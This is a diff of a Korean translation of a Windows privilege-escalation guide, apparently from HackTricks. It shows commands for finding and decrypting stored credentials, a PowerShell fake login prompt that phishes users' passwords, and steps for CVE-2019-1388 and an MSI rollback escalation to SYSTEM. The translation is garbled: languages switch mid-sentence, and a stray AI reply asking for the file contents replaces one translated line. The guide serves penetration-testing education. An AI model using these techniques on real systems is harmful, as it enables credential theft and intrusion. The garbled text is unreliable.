하려면 다음을 실행하십시오: +만약 `ssh-agent` 서비스가 실행 중이 아니고 부팅 시 자동으로 시작되게 하려면 다음을 실행하세요: ```bash Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service ``` > [!TIP] -> 이 기술은 더 이상 유효하지 않은 것 같습니다. 나는 몇 개의 ssh 키를 생성하고 `ssh-add`로 추가한 후 ssh를 통해 머신에 로그인하려고 했습니다. 레지스트리 HKCU\Software\OpenSSH\Agent\Keys가 존재하지 않으며 procmon은 비대칭 키 인증 중 `dpapi.dll`의 사용을 식별하지 못했습니다. - -### Unattended files +> 이 기술은 더 이상 유효하지 않은 것으로 보입니다. 몇 가지 ssh 키를 생성하고 `ssh-add`로 추가한 뒤 ssh로 머신에 로그인해 보았습니다. 레지스트리 HKCU\Software\OpenSSH\Agent\Keys는 존재하지 않았고 procmon은 비대칭 키 인증 과정에서 `dpapi.dll`의 사용을 식별하지 못했습니다. +### 방치된 파일 ``` C:\Windows\sysprep\sysprep.xml C:\Windows\sysprep\sysprep.inf @@ -954,7 +964,9 @@ C:\unattend.txt C:\unattend.inf dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul ``` -이 파일들은 **metasploit**를 사용하여 검색할 수도 있습니다: _post/windows/gather/enum_unattend_ +이 파일들은 **metasploit**을 사용하여 검색할 수도 있습니다: _post/windows/gather/enum_unattend_ + +예시 내용: ```xml @@ -995,15 +1007,15 @@ AppData\Roaming\gcloud\access_tokens.db ``` ### McAfee SiteList.xml -**SiteList.xml**라는 파일을 검색하세요. +파일 **SiteList.xml** 를 찾으세요 ### Cached GPP Pasword -이전에는 Group Policy Preferences (GPP)를 통해 여러 머신에 사용자 지정 로컬 관리자 계정을 배포할 수 있는 기능이 제공되었습니다. 그러나 이 방법에는 심각한 보안 결함이 있었습니다. 첫째, SYSVOL에 XML 파일로 저장된 Group Policy Objects (GPOs)는 모든 도메인 사용자가 접근할 수 있었습니다. 둘째, 공개적으로 문서화된 기본 키를 사용하여 AES256으로 암호화된 이러한 GPP 내의 비밀번호는 인증된 사용자가 복호화할 수 있었습니다. 이는 사용자가 권한 상승을 할 수 있는 심각한 위험을 초래했습니다. +이전에는 Group Policy Preferences (GPP)를 통해 여러 머신에 커스텀 로컬 관리자 계정을 배포할 수 있는 기능이 있었습니다. 그러나 이 방법에는 심각한 보안 취약점이 있었습니다. 첫째, SYSVOL에 XML 파일로 저장된 Group Policy Objects (GPOs)는 도메인 사용자라면 누구나 접근할 수 있었습니다. 둘째, 이러한 GPP 내의 비밀번호는 공개적으로 문서화된 기본 키를 사용해 AES256으로 암호화되어 있었는데, 인증된 사용자라면 누구든 이를 복호화할 수 있었습니다. 이는 사용자가 권한 상승을 얻을 수 있게 해주는 심각한 위험을 초래했습니다. -이 위험을 완화하기 위해, 비어 있지 않은 "cpassword" 필드를 포함하는 로컬 캐시된 GPP 파일을 검색하는 기능이 개발되었습니다. 이러한 파일을 찾으면, 해당 기능은 비밀번호를 복호화하고 사용자 지정 PowerShell 객체를 반환합니다. 이 객체에는 GPP에 대한 세부정보와 파일의 위치가 포함되어 있어 이 보안 취약점을 식별하고 수정하는 데 도움이 됩니다. +이 위험을 완화하기 위해 'cpassword' 필드가 비어있지 않은 로컬에 캐시된 GPP 파일을 검색하는 함수가 개발되었습니다. 해당 파일을 찾으면, 함수는 비밀번호를 복호화하고 커스텀 PowerShell 객체를 반환합니다. 이 객체에는 GPP와 파일 위치에 대한 정보가 포함되어 있어 이 보안 취약점을 식별하고 수정하는 데 도움이 됩니다. -다음 파일을 위해 `C:\ProgramData\Microsoft\Group Policy\history` 또는 _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (W Vista 이전)_에서 검색하세요: +Search in `C:\ProgramData\Microsoft\Group Policy\history` or in _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (previous to W Vista)_ for these files: - Groups.xml - Services.xml @@ -1017,7 +1029,7 @@ AppData\Roaming\gcloud\access_tokens.db #To decrypt these passwords you can decrypt it using gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw ``` -crackmapexec를 사용하여 비밀번호 가져오기: +crackmapexec를 사용하여 passwords를 얻기: ```bash crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin ``` @@ -1035,7 +1047,7 @@ C:\inetpub\wwwroot\web.config Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue ``` -웹.config의 자격 증명 예: +자격 증명이 포함된 web.config 예: ```xml @@ -1073,9 +1085,9 @@ C:\inetpub\logs\LogFiles\* #Apache Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue ``` -### Ask for credentials +### credentials 요청하기 -You can always **ask the user to enter his credentials of even the credentials of a different user** if you think he can know them (notice that **asking** the client directly for the **credentials** is really **risky**): +**사용자가 알고 있을 수 있다고 생각되면, 항상 사용자에게 자신의 credentials 또는 다른 사용자의 credentials 입력을 요청할 수 있다**(주의: 클라이언트에게 **직접 요청하는 것**으로 **credentials** 를 요구하는 것은 정말 **위험**합니다): ```bash $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password @@ -1083,9 +1095,9 @@ $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::U #Get plaintext $cred.GetNetworkCredential() | fl ``` -### **자격 증명이 포함된 가능한 파일 이름** +### **자격 증명이 포함될 수 있는 가능한 파일 이름들** -일부 이전에 **평문** 또는 **Base64**로 **비밀번호**를 포함하고 있었던 알려진 파일 +일부 파일들이 한때 **passwords**를 **clear-text** 또는 **Base64**로 포함하고 있던 것으로 알려져 있습니다. ```bash $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history vnc.ini, ultravnc.ini, *vnc* @@ -1149,7 +1161,7 @@ TypedURLs #IE %USERPROFILE%\ntuser.dat %USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat ``` -제안된 모든 파일을 검색하십시오: +I don't have access to your filesystem or repo. Please paste the content of src/windows-hardening/windows-local-privilege-escalation/README.md (or the list of proposed files you want searched). Once you provide the file content I will translate the relevant English text to Korean, preserving markdown, tags, links, paths, code, and other items you specified. ``` cd C:\ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll" @@ -1158,55 +1170,55 @@ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd ``` Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")} ``` -### RecycleBin의 자격 증명 +### 휴지통의 자격 증명 -자격 증명이 있는지 확인하기 위해 Bin을 확인해야 합니다. +또한 휴지통을 확인하여 그 안에 자격 증명이 있는지 확인하세요 -여러 프로그램에 의해 저장된 **비밀번호를 복구**하려면 다음을 사용할 수 있습니다: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) +여러 프로그램에 저장된 **비밀번호를 복구**하려면 다음을 사용할 수 있습니다: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) ### 레지스트리 내부 -**자격 증명이 있는 다른 가능한 레지스트리 키** +**자격 증명을 포함할 수 있는 다른 레지스트리 키** ```bash reg query "HKCU\Software\ORL\WinVNC3\Password" reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s reg query "HKCU\Software\TightVNC\Server" reg query "HKCU\Software\OpenSSH\Agent\Key" ``` -[**레지스트리에서 openssh 키 추출.**](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) +[**Extract openssh keys from registry.**](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) ### 브라우저 기록 -**Chrome 또는 Firefox**에서 비밀번호가 저장된 db를 확인해야 합니다.\ -또한 브라우저의 기록, 북마크 및 즐겨찾기를 확인하여 **비밀번호가** 저장되어 있을 수 있습니다. +You should check for dbs where passwords from **Chrome or Firefox** are stored.\ +또한 브라우저의 히스토리, 북마크 및 즐겨찾기를 확인하세요. 거기에 **passwords are** 저장되어 있을 수 있습니다. -브라우저에서 비밀번호를 추출하는 도구: +Tools to extract passwords from browsers: - Mimikatz: `dpapi::chrome` - [**SharpWeb**](https://github.com/djhohnstein/SharpWeb) - [**SharpChromium**](https://github.com/djhohnstein/SharpChromium) - [**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) -### **COM DLL 덮어쓰기** +### **COM DLL Overwriting** -**컴포넌트 오브젝트 모델 (COM)**은 서로 다른 언어의 소프트웨어 구성 요소 간의 **상호 통신**을 허용하는 Windows 운영 체제 내에 구축된 기술입니다. 각 COM 구성 요소는 **클래스 ID (CLSID)**를 통해 **식별**되며, 각 구성 요소는 인터페이스 ID (IIDs)를 통해 식별되는 하나 이상의 인터페이스를 통해 기능을 노출합니다. +Component Object Model (COM)은 Windows 운영체제에 내장된 기술로, 서로 다른 언어로 작성된 소프트웨어 컴포넌트 간의 상호통신을 허용합니다. 각 COM 컴포넌트는 class ID (CLSID)로 식별되며, 각 컴포넌트는 하나 이상의 인터페이스를 통해 기능을 노출하고, 이 인터페이스들은 interface IDs (IIDs)로 식별됩니다. -COM 클래스와 인터페이스는 각각 **HKEY\CLASSES\ROOT\CLSID** 및 **HKEY\CLASSES\ROOT\Interface** 레지스트리에 정의됩니다. 이 레지스트리는 **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** = **HKEY\CLASSES\ROOT**를 병합하여 생성됩니다. +COM classes and interfaces are defined in the registry under **HKEY\CLASSES\ROOT\CLSID** and **HKEY\CLASSES\ROOT\Interface** respectively. 이 레지스트리는 **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** 를 병합하여 생성되며 결과는 **HKEY\CLASSES\ROOT** 입니다. -이 레지스트리의 CLSID 내에서 **InProcServer32**라는 자식 레지스트리를 찾을 수 있으며, 여기에는 **DLL**을 가리키는 **기본값**과 **ThreadingModel**이라는 값이 포함되어 있습니다. 이 값은 **Apartment** (단일 스레드), **Free** (다중 스레드), **Both** (단일 또는 다중) 또는 **Neutral** (스레드 중립)일 수 있습니다. +Inside the CLSIDs of this registry you can find the child registry **InProcServer32** which contains a **default value** pointing to a **DLL** and a value called **ThreadingModel** that can be **Apartment** (Single-Threaded), **Free** (Multi-Threaded), **Both** (Single or Multi) or **Neutral** (Thread Neutral). ![](<../../images/image (729).png>) -기본적으로, 실행될 DLL 중 하나를 **덮어쓸 수 있다면**, 해당 DLL이 다른 사용자에 의해 실행될 경우 **권한 상승**을 할 수 있습니다. +기본적으로, 실행될 DLL 중 하나를 덮어쓸 수 있다면 해당 DLL이 다른 사용자의 컨텍스트에서 실행될 때 **escalate privileges**할 수 있습니다. -공격자가 COM 하이재킹을 지속성 메커니즘으로 사용하는 방법을 배우려면 확인하세요: +To learn how attackers use COM Hijacking as a persistence mechanism check: {{#ref}} com-hijacking.md {{#endref}} -### **파일 및 레지스트리에서 일반 비밀번호 검색** +### **Generic Password search in files and registry** **파일 내용 검색** ```bash @@ -1214,7 +1226,7 @@ cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt findstr /si password *.xml *.ini *.txt *.config findstr /spin "password" *.* ``` -**특정 파일 이름으로 파일 검색** +**특정 파일명을 가진 파일 검색하기** ```bash dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* where /R C:\ user.txt @@ -1229,11 +1241,11 @@ REG QUERY HKCU /F "password" /t REG_SZ /S /d ``` ### 비밀번호를 검색하는 도구 -[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **는 msf** 플러그인으로, 이 플러그인은 **희생자의 내부에서 자격 증명을 검색하는 모든 메타스플로잇 POST 모듈을 자동으로 실행**하도록 만들어졌습니다.\ -[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) 는 이 페이지에 언급된 비밀번호가 포함된 모든 파일을 자동으로 검색합니다.\ -[**Lazagne**](https://github.com/AlessandroZ/LaZagne) 은 시스템에서 비밀번호를 추출하는 또 다른 훌륭한 도구입니다. +[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **msf** 플러그인입니다. 제가 이 플러그인을 만들어 피해자 시스템 내부에서 자격 증명을 검색하는 모든 **metasploit POST module을 자동으로 실행**하도록 했습니다.\ +[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) 이 페이지에 언급된 비밀번호가 포함된 모든 파일을 자동으로 검색합니다.\ +[**Lazagne**](https://github.com/AlessandroZ/LaZagne) 는 시스템에서 비밀번호를 추출하는 또 다른 훌륭한 도구입니다. -도구 [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) 는 **세션**, **사용자 이름** 및 **비밀번호**를 검색하며, 여러 도구가 이 데이터를 일반 텍스트로 저장합니다 (PuTTY, WinSCP, FileZilla, SuperPuTTY, 및 RDP). +도구 [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) 는 이 데이터를 평문으로 저장하는 여러 도구(PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP)의 **세션**, **사용자명**, **비밀번호**를 검색합니다. ```bash Import-Module path\to\SessionGopher.ps1; Invoke-SessionGopher -Thorough @@ -1242,30 +1254,30 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss ``` ## Leaked Handlers -Imagine that **a process running as SYSTEM open a new process** (`OpenProcess()`) with **full access**. The same process **also create a new process** (`CreateProcess()`) **with low privileges but inheriting all the open handles of the main process**.\ -Then, if you have **full access to the low privileged process**, you can grab the **open handle to the privileged process created** with `OpenProcess()` and **inject a shellcode**.\ -[Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md)\ -[Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). +다음 상황을 상상해보자: **SYSTEM으로 실행되는 프로세스가 `OpenProcess()`로 전체 접근 권한(full access)을 가진 새 프로세스를 엽니다**. 같은 프로세스는 **또한 `CreateProcess()`로 낮은 권한을 가진 새 프로세스를 생성하는데, 이 프로세스는 메인 프로세스의 모든 열린 핸들을 상속받습니다**.\ +그런 다음, 만약 낮은 권한 프로세스에 **전체 접근 권한(full access)**가 있다면, `OpenProcess()`로 생성된 권한 있는 프로세스에 대한 **열려 있는 핸들(handle)을 획득**하고 **쉘코드(inject a shellcode)**를 주입할 수 있습니다.\ +[이 취약점을 **감지하고 악용하는 방법**에 대한 자세한 정보는 이 예제를 참조하세요.](leaked-handle-exploitation.md)\ +[프로세스 및 스레드에 상속된 다양한 권한 수준(단지 full access만이 아님)의 열린 핸들들을 테스트하고 악용하는 방법에 대해 더 완전한 설명을 제공하는 **다른 포스트**는 여기에서 확인하세요.](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/) ## Named Pipe Client Impersonation -공유 메모리 세그먼트, 즉 **파이프**는 프로세스 간 통신 및 데이터 전송을 가능하게 합니다. +공유 메모리 세그먼트인 **pipes**는 프로세스 간 통신과 데이터 전송을 가능하게 합니다. -Windows는 **Named Pipes**라는 기능을 제공하여 관련 없는 프로세스가 서로 다른 네트워크를 통해서도 데이터를 공유할 수 있게 합니다. 이는 **named pipe server**와 **named pipe client**로 정의된 역할을 가진 클라이언트/서버 아키텍처와 유사합니다. +Windows는 **Named Pipes**라는 기능을 제공하여 관련 없는 프로세스들도 심지어 다른 네트워크 상에서도 데이터를 공유할 수 있게 합니다. 이는 client/server 아키텍처와 유사하며, 역할은 **named pipe server**와 **named pipe client**로 정의됩니다. -**클라이언트**가 파이프를 통해 데이터를 전송할 때, 파이프를 설정한 **서버**는 필요한 **SeImpersonate** 권한이 있는 경우 **클라이언트의 신원을 취할 수 있는** 능력을 가집니다. 파이프를 통해 통신하는 **특권 프로세스**를 식별하고 그 신원을 모방할 수 있는 기회를 제공하여, 해당 프로세스가 당신이 설정한 파이프와 상호작용할 때 **더 높은 권한을 얻을 수 있습니다**. 이러한 공격을 실행하는 방법에 대한 지침은 [**여기**](named-pipe-client-impersonation.md)와 [**여기**](#from-high-integrity-to-system)에서 찾을 수 있습니다. +클라이언트가 파이프를 통해 데이터를 전송할 때, 해당 파이프를 설정한 **server**는 필요한 **SeImpersonate** 권한이 있다면 **client의 신원을 가장(take on the identity)**할 수 있습니다. 파이프를 통해 통신하는 **privileged process**를 식별하고 이를 흉내낼 수 있다면, 해당 프로세스가 당신이 만든 파이프와 상호작용할 때 그 신원을 채택하여 **더 높은 권한을 얻을 수 있는 기회**가 생깁니다. 이러한 공격을 실행하는 방법에 대한 안내는 [**여기**](named-pipe-client-impersonation.md)와 [**여기**](#from-high-integrity-to-system)에서 확인할 수 있습니다. -또한 다음 도구는 **burp와 같은 도구로 named pipe 통신을 가로챌 수 있게 해줍니다:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **그리고 이 도구는 모든 파이프를 나열하고 볼 수 있게 해주어 privescs를 찾는 데 도움을 줍니다** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) +또한 다음 툴은 burp와 같은 툴로 **named pipe 통신을 가로채도록(intercept)** 해줍니다: [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **그리고 이 툴은 privescs를 찾기 위해 모든 파이프를 나열하고 확인할 수 있게 합니다** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) -## Misc +## 기타 -### File Extensions that could execute stuff in Windows +### Windows에서 코드를 실행할 수 있는 파일 확장자 -Check out the page **[https://filesec.io/](https://filesec.io/)** +페이지 **[https://filesec.io/](https://filesec.io/)**를 확인하세요 -### **Monitoring Command Lines for passwords** +### **명령줄에서 비밀번호 모니터링** -When getting a shell as a user, there may be scheduled tasks or other processes being executed which **pass credentials on the command line**. The script below captures process command lines every two seconds and compares the current state with the previous state, outputting any differences. +사용자 권한으로 쉘을 얻었을 때, 스케줄된 작업이나 다른 프로세스들이 **명령줄에 자격증명(credentials)을 넘기는 경우**가 있을 수 있습니다. 아래 스크립트는 프로세스의 명령줄을 2초마다 캡처하여 현재 상태를 이전 상태와 비교하고 차이점을 출력합니다. ```bash while($true) { @@ -1275,15 +1287,15 @@ $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine Compare-Object -ReferenceObject $process -DifferenceObject $process2 } ``` -## 프로세스에서 비밀번호 훔치기 +## Stealing passwords from processes -## 낮은 권한 사용자에서 NT\AUTHORITY SYSTEM으로 (CVE-2019-1388) / UAC 우회 +## From Low Priv User to NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass -그래픽 인터페이스(콘솔 또는 RDP를 통해)에 접근할 수 있고 UAC가 활성화된 경우, 일부 버전의 Microsoft Windows에서는 비권한 사용자로부터 "NT\AUTHORITY SYSTEM"과 같은 터미널이나 다른 프로세스를 실행할 수 있습니다. +그래픽 인터페이스 (via console or RDP)에 접근할 수 있고 UAC가 활성화되어 있는 경우, 일부 Microsoft Windows 버전에서는 비특권 사용자 계정에서 터미널이나 "NT\AUTHORITY SYSTEM"과 같은 다른 프로세스를 실행할 수 있습니다. -이로 인해 권한 상승과 UAC 우회를 동시에 동일한 취약점을 통해 수행할 수 있습니다. 또한, 아무것도 설치할 필요가 없으며, 프로세스 중에 사용되는 바이너리는 Microsoft에 의해 서명되고 발급됩니다. +이로 인해 동일한 취약점을 이용해 권한을 상승시키고 UAC를 동시에 우회할 수 있습니다. 또한 아무것도 설치할 필요가 없으며, 과정에서 사용되는 바이너리는 Microsoft에서 서명하고 발행한 것입니다. -영향을 받는 시스템 중 일부는 다음과 같습니다: +Some of the affected systems are the following: ``` SERVER ====== @@ -1305,7 +1317,7 @@ Windows 10 1607 14393 ** link OPENED AS SYSTEM ** Windows 10 1703 15063 link NOT opened Windows 10 1709 16299 link NOT opened ``` -이 취약점을 악용하기 위해서는 다음 단계를 수행해야 합니다: +이 취약점을 악용하려면 다음 단계를 수행해야 합니다: ``` 1) Right click on the HHUPD.EXE file and run it as Administrator. @@ -1327,150 +1339,150 @@ You have all the necessary files and information in the following GitHub reposit https://github.com/jas502n/CVE-2019-1388 -## 관리자 중간에서 높은 무결성 수준으로 / UAC 우회 +## From Administrator Medium to High Integrity Level / UAC Bypass -**무결성 수준에 대해 배우려면** 이 내용을 읽으세요: +Read this to **learn about Integrity Levels**: {{#ref}} integrity-levels.md {{#endref}} -그런 다음 **UAC 및 UAC 우회에 대해 배우려면 이 내용을 읽으세요:** +Then **read this to learn about UAC and UAC bypasses:** {{#ref}} ../authentication-credentials-uac-and-efs/uac-user-account-control.md {{#endref}} -## 임의 폴더 삭제/이동/이름 바꾸기에서 SYSTEM EoP로 +## From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP -[**이 블로그 게시물**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks)에서 설명된 기술로, [**여기에서 사용할 수 있는**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs) 익스플로잇 코드가 있습니다. +The technique described [**in this blog post**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) with a exploit code [**available here**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs). -이 공격은 기본적으로 Windows Installer의 롤백 기능을 악용하여 제거 과정 중에 합법적인 파일을 악성 파일로 교체하는 것입니다. 이를 위해 공격자는 `C:\Config.Msi` 폴더를 탈취하는 데 사용될 **악성 MSI 설치 프로그램**을 생성해야 하며, 이 폴더는 나중에 Windows Installer가 다른 MSI 패키지를 제거하는 동안 롤백 파일을 저장하는 데 사용됩니다. 롤백 파일은 악성 페이로드를 포함하도록 수정됩니다. +이 공격은 기본적으로 Windows Installer의 rollback 기능을 악용해 언인스톨 과정에서 정상 파일을 악성 파일로 대체하는 것입니다. 이를 위해 공격자는 `C:\Config.Msi` 폴더를 하이재킹하기 위해 사용될 **malicious MSI installer**를 만들어야 하며, 해당 폴더는 이후 다른 MSI 패키지의 언인스톨 시 rollback 파일을 저장하는 데 사용되고, 이 rollback 파일들이 악성 페이로드로 수정될 것입니다. -요약된 기술은 다음과 같습니다: +요약된 기법은 다음과 같습니다: -1. **1단계 – 탈취 준비 (C:\Config.Msi 비워두기)** +1. **Stage 1 – Preparing for the Hijack (leave `C:\Config.Msi` empty)** -- 1단계: MSI 설치 -- 무해한 파일(예: `dummy.txt`)을 쓰기 가능한 폴더(`TARGETDIR`)에 설치하는 `.msi`를 만듭니다. -- 설치 프로그램을 **"UAC 준수"**로 표시하여 **비관리자 사용자**가 실행할 수 있도록 합니다. -- 설치 후 파일에 대한 **핸들**을 열어 둡니다. +- Step 1: Install the MSI +- 쓰기 가능한 폴더(`TARGETDIR`)에 무해한 파일(e.g., `dummy.txt`)을 설치하는 `.msi`를 만듭니다. +- 인스톨러를 **"UAC Compliant"**로 표시하여 **non-admin user**가 실행할 수 있게 합니다. +- 설치 후 파일에 대한 **handle**을 열어 둡니다. -- 2단계: 제거 시작 -- 동일한 `.msi`를 제거합니다. -- 제거 과정이 `C:\Config.Msi`로 파일을 이동하고 `.rbf` 파일(롤백 백업)로 이름을 바꾸기 시작합니다. -- **열려 있는 파일 핸들을 폴링**하여 파일이 `C:\Config.Msi\.rbf`가 될 때를 감지합니다. +- Step 2: Begin Uninstall +- 같은 `.msi`를 언인스톨합니다. +- 언인스톨 과정에서 파일들이 `C:\Config.Msi`로 이동되고 `.rbf` 파일(rollback backups)로 이름이 변경됩니다. +- 파일이 `C:\Config.Msi\.rbf`가 되었는지 감지하기 위해 `GetFinalPathNameByHandle`로 **open file handle을 폴링**합니다. -- 3단계: 사용자 정의 동기화 -- `.msi`에는 **사용자 정의 제거 작업(`SyncOnRbfWritten`)**이 포함되어 있습니다: -- `.rbf`가 작성되었을 때 신호를 보냅니다. -- 그런 다음 **계속하기 전에** 다른 이벤트를 기다립니다. +- Step 3: Custom Syncing +- `.msi`에는 **custom uninstall action (`SyncOnRbfWritten`)**이 포함되어 있어: +- `.rbf`가 기록되었을 때 신호를 보냅니다. +- 그런 다음 언인스톨을 계속하기 전에 다른 이벤트를 **대기**합니다. -- 4단계: `.rbf` 삭제 차단 -- 신호가 오면, `FILE_SHARE_DELETE` 없이 **`.rbf` 파일을 엽니다** — 이는 **삭제를 방지합니다**. -- 그런 다음 **신호를 다시 보내** 제거가 완료될 수 있도록 합니다. -- Windows Installer는 `.rbf`를 삭제하지 못하며, 모든 내용을 삭제할 수 없기 때문에 **`C:\Config.Msi`는 제거되지 않습니다**. +- Step 4: Block Deletion of `.rbf` +- 신호를 받으면 `FILE_SHARE_DELETE` 없이 `.rbf` 파일을 **오픈**합니다 — 이렇게 하면 **삭제를 방지**합니다. +- 그런 다음 언인스톨이 완료될 수 있도록 **다시 신호**를 보냅니다. +- Windows Installer는 `.rbf`를 삭제하지 못하고, 모든 내용을 삭제할 수 없으므로 **`C:\Config.Msi`가 제거되지 않습니다**. -- 5단계: `.rbf` 수동 삭제 -- 당신(공격자)은 `.rbf` 파일을 수동으로 삭제합니다. -- 이제 **`C:\Config.Msi`는 비어 있으며**, 탈취할 준비가 되었습니다. +- Step 5: Manually Delete `.rbf` +- 공격자는 `.rbf` 파일을 수동으로 삭제합니다. +- 이제 **`C:\Config.Msi`가 비어 있어**, 하이재킹할 준비가 되었습니다. -> 이 시점에서 **SYSTEM 수준의 임의 폴더 삭제 취약점을 유발하여 `C:\Config.Msi`를 삭제합니다**. +> 이 시점에서, **SYSTEM-level arbitrary folder delete vulnerability**를 트리거하여 `C:\Config.Msi`를 삭제합니다. -2. **2단계 – 롤백 스크립트를 악성 스크립트로 교체하기** +2. **Stage 2 – Replacing Rollback Scripts with Malicious Ones** -- 6단계: 약한 ACL로 `C:\Config.Msi` 재생성 +- Step 6: Recreate `C:\Config.Msi` with Weak ACLs - `C:\Config.Msi` 폴더를 직접 재생성합니다. -- **약한 DACL**(예: Everyone:F)을 설정하고, `WRITE_DAC`으로 핸들을 열어 둡니다. +- **weak DACLs**(예: Everyone:F)를 설정하고 `WRITE_DAC` 권한으로 **handle을 열어 둡니다**. -- 7단계: 다른 설치 실행 -- `.msi`를 다시 설치합니다: +- Step 7: Run Another Install +- `.msi`를 다시 인스톨하되: - `TARGETDIR`: 쓰기 가능한 위치. -- `ERROROUT`: 강제 실패를 유발하는 변수. -- 이 설치는 **롤백**을 다시 유발하는 데 사용되며, `.rbs` 및 `.rbf`를 읽습니다. +- `ERROROUT`: 강제 실패를 트리거하는 변수. +- 이 인스톨은 다시 **rollback**을 트리거하는 데 사용되며, rollback은 `.rbs`와 `.rbf`를 읽습니다. -- 8단계: `.rbs` 모니터링 -- `ReadDirectoryChangesW`를 사용하여 `C:\Config.Msi`를 모니터링하여 새로운 `.rbs`가 나타날 때까지 기다립니다. -- 파일 이름을 캡처합니다. +- Step 8: Monitor for `.rbs` +- `ReadDirectoryChangesW`를 사용해 `C:\Config.Msi`를 모니터링하여 새로운 `.rbs`가 나타날 때까지 기다립니다. +- 해당 파일명을 캡처합니다. -- 9단계: 롤백 전 동기화 -- `.msi`에는 **사용자 정의 설치 작업(`SyncBeforeRollback`)**이 포함되어 있습니다: -- `.rbs`가 생성될 때 이벤트를 신호로 보냅니다. -- 그런 다음 **계속하기 전에** 기다립니다. +- Step 9: Sync Before Rollback +- `.msi`에는 **custom install action (`SyncBeforeRollback`)**가 포함되어 있어: +- `.rbs`가 생성되면 이벤트를 신호로 보냅니다. +- 그런 다음 계속하기 전에 **대기**합니다. -- 10단계: 약한 ACL 다시 적용 -- `.rbs 생성` 이벤트를 수신한 후: -- Windows Installer는 `C:\Config.Msi`에 **강한 ACL을 다시 적용합니다**. -- 그러나 여전히 `WRITE_DAC` 핸들이 있으므로 **약한 ACL을 다시 적용할 수 있습니다**. +- Step 10: Reapply Weak ACL +- `.rbs created` 이벤트를 받은 후: +- Windows Installer는 `C:\Config.Msi`에 **강한 ACL을 재적용**합니다. +- 그러나 당신은 여전히 `WRITE_DAC`로 열린 handle을 가지고 있으므로 다시 **약한 ACL을 재적용**할 수 있습니다. -> ACL은 **핸들이 